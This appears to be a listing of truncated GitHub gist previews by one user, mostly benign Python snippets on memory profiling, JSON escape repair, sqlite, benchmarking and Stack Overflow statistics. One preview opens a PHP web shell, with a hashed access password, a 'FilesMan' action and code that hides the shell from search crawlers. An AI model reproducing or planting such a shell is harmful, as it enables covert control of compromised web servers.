mjpieters

# Python 2.7.13 build with pytracemalloc patches applied.
$ python27_tracemalloc test-pickle-tracemalloc.py
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
            Baseline (Tot:    0.0 MiB, Inc:    0.0 MiB)
        Data created (Tot:  200.0 MiB, Inc:  200.0 MiB)
       Pickle dumped (Tot:  246.0 MiB, Inc:   46.0 MiB)
$ python27_tracemalloc test-pickle-tracemalloc.py load
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]

mjpieters

# Having fun with http://adventofcode.com/day/6 Advent of Code

import re

from itertools import product
from collections import defaultdict

try:
    from PIL import Image
except ImportError:

mjpieters

>>> import re
>>> invalid_escape = re.compile(r'\\([1-3][0-7]{2}|[1-7][0-7]?)')  # octal digits from 1 up to FF
>>> def replace_with_codepoint(match):
...     return chr(int(match.group(0)[1:], 8))
... 
>>> def repair(brokenjson):
...     return invalid_escape.sub(replace_with_codepoint, brokenjson)
... 
>>> sample = '{"destination":"Provence-Alpes-C\\303\\264te d\'Azur"}'
>>> repair(sample)

mjpieters

Keybase proof

I hereby claim:

• I am mjpieters on github.
• I am zopatista (https://keybase.io/zopatista) on keybase.
• I have a public key whose fingerprint is 7037 7A88 E2D5 5007 728F DC81 DF16 A3D8 63AF 80FD

To claim this, I am signing this object:

mjpieters

from bisect import bisect_left, bisect_right

def ani(arr, a, b):
    arr.sort()
    return sum(
        bisect_right(arr, b - x, lo) - bisect_left(arr, a - x, lo)
        for lo, x in enumerate(arr, 1))

mjpieters

$auth_pass = "59ec7b5aee2b1838eeb94b2268a1e685";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');

mjpieters

>>> import sqlite3
>>> conn = sqlite3.connect(':memory:')
>>> cursor = conn.cursor()
>>> cursor.execute('CREATE TABLE demo (foo PRIMARY KEY, bar INTEGER, spam TEXT, eggs INTEGER NOT NULL DEFAULT 0)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> cursor.execute('PRAGMA table_info(demo)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> [r[1] for r in cursor]
[u'foo', u'bar', u'spam', u'eggs']

mjpieters

In [1]: from random import randint

In [2]: lines = [randint(0, 42) for _ in range(10000)]

In [3]: %%timeit
   ...: for _ in lines[::-1]: pass
   ...: 
10000 loops, best of 3: 149 µs per loop

In [4]: %%timeit

mjpieters

$ bin/python test.py 4 1
-------------------------
Configuration:
Number of elements to check against:  4
Number of if statements:  1
-------------------------
Concatenated boolean operators
0.1044412124203518
List
0.06876948488876224

mjpieters

User scores for the top 100 tags sorted on average per-answer score (users with 1000 or more answers only)

    NAME                      TAG                 SCORE   COUNT AVERAGE    NORM  WEIGHTED
  1 CMS                       javascript          24985    1215   20.56  0.0314   38.1401
  2 Eric Lippert              c#                  44175    2571   17.18  0.0581  149.2803
  3 polygenelubricants        java                12396    1024   12.11  0.0154   15.7527
  4 Mehrdad Afshari           c#                  11975    1018   11.76  0.0157   16.0231
  5 Johannes Schaub - litb    c++                 21543    2002   10.76  0.0614  122.9951
  6 Dave DeLong               objective-c         12198    1254    9.73  0.0555   69.6445
  7 Jon Skeet                 .net                47874    5065    9.45  0.2338 1184.0163